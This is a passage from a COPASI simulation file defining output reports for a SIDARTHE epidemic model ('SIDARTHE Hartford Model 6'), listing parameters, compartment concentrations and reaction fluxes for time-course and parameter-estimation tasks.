<Report key="Report_8" name="Elementary Flux Modes" taskType="fluxMode" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Elementary Flux Modes],Object=Result"/>
</Footer>
</Report>
<Report key="Report_7" name="Optimization" taskType="optimization" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Optimization],Object=Description"/>
<Object cn="String=\[Function Evaluations\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Value\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Parameters\]"/>
</Header>
<Body>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Function Evaluations"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Parameters"/>
</Body>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Object=Result"/>
</Footer>
</Report>
<Report key="Report_6" name="Parameter Estimation" taskType="parameterFitting" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Description"/>
<Object cn="String=\[Function Evaluations\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Value\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Parameters\]"/>
</Header>
<Body>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Function Evaluations"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Parameters"/>
</Body>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Result"/>
</Footer>
</Report>
<Report key="Report_5" name="Metabolic Control Analysis" taskType="metabolicControlAnalysis" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Result"/>
</Footer>
</Report>
<Report key="Report_4" name="Lyapunov Exponents" taskType="lyapunovExponents" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Result"/>
</Footer>
</Report>
<Report key="Report_3" name="Time Scale Separation Analysis" taskType="timeScaleSeparationAnalysis" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Result"/>
</Footer>
</Report>
<Report key="Report_2" name="Sensitivities" taskType="sensitivities" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Result"/>
</Footer>
</Report>
<Report key="Report_1" name="Moieties" taskType="moieties" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Moieties],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Moieties],Object=Result"/>
</Footer>
</Report>
<Report key="Report_0" name="Linear Noise Approximation" taskType="linearNoiseApproximation" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Result"/>
</Footer>
</Report>
<Report key="Report_25" name="summary PE" taskType="scan" separator="	" precision="6">
<Comment>
</Comment>
<Table printTitle="1">
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Parameters"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
</Table>
</Report>
<Report key="Report_26" name="Time-Course" taskType="timeCourse" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Time-Course],Object=Description"/>
</Header>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Time-Course],Object=Result"/>
</Footer>
</Report>
<Report key="Report_27" name="TC-summary" taskType="timeCourse" separator="	" precision="10">
<Comment>
</Comment>
<Header>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=InitialValue,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration,Property=DisplayName"/>
</Header>
<Footer>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=InitialValue"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</Footer>
</Report>
<Report key="Report_28" name="TC variables, fluxes, global quantities" taskType="timeCourse" separator="	" precision="6">
<Comment>
</Comment>
<Table printTitle="1">
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],Reference=Flux"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value"/>
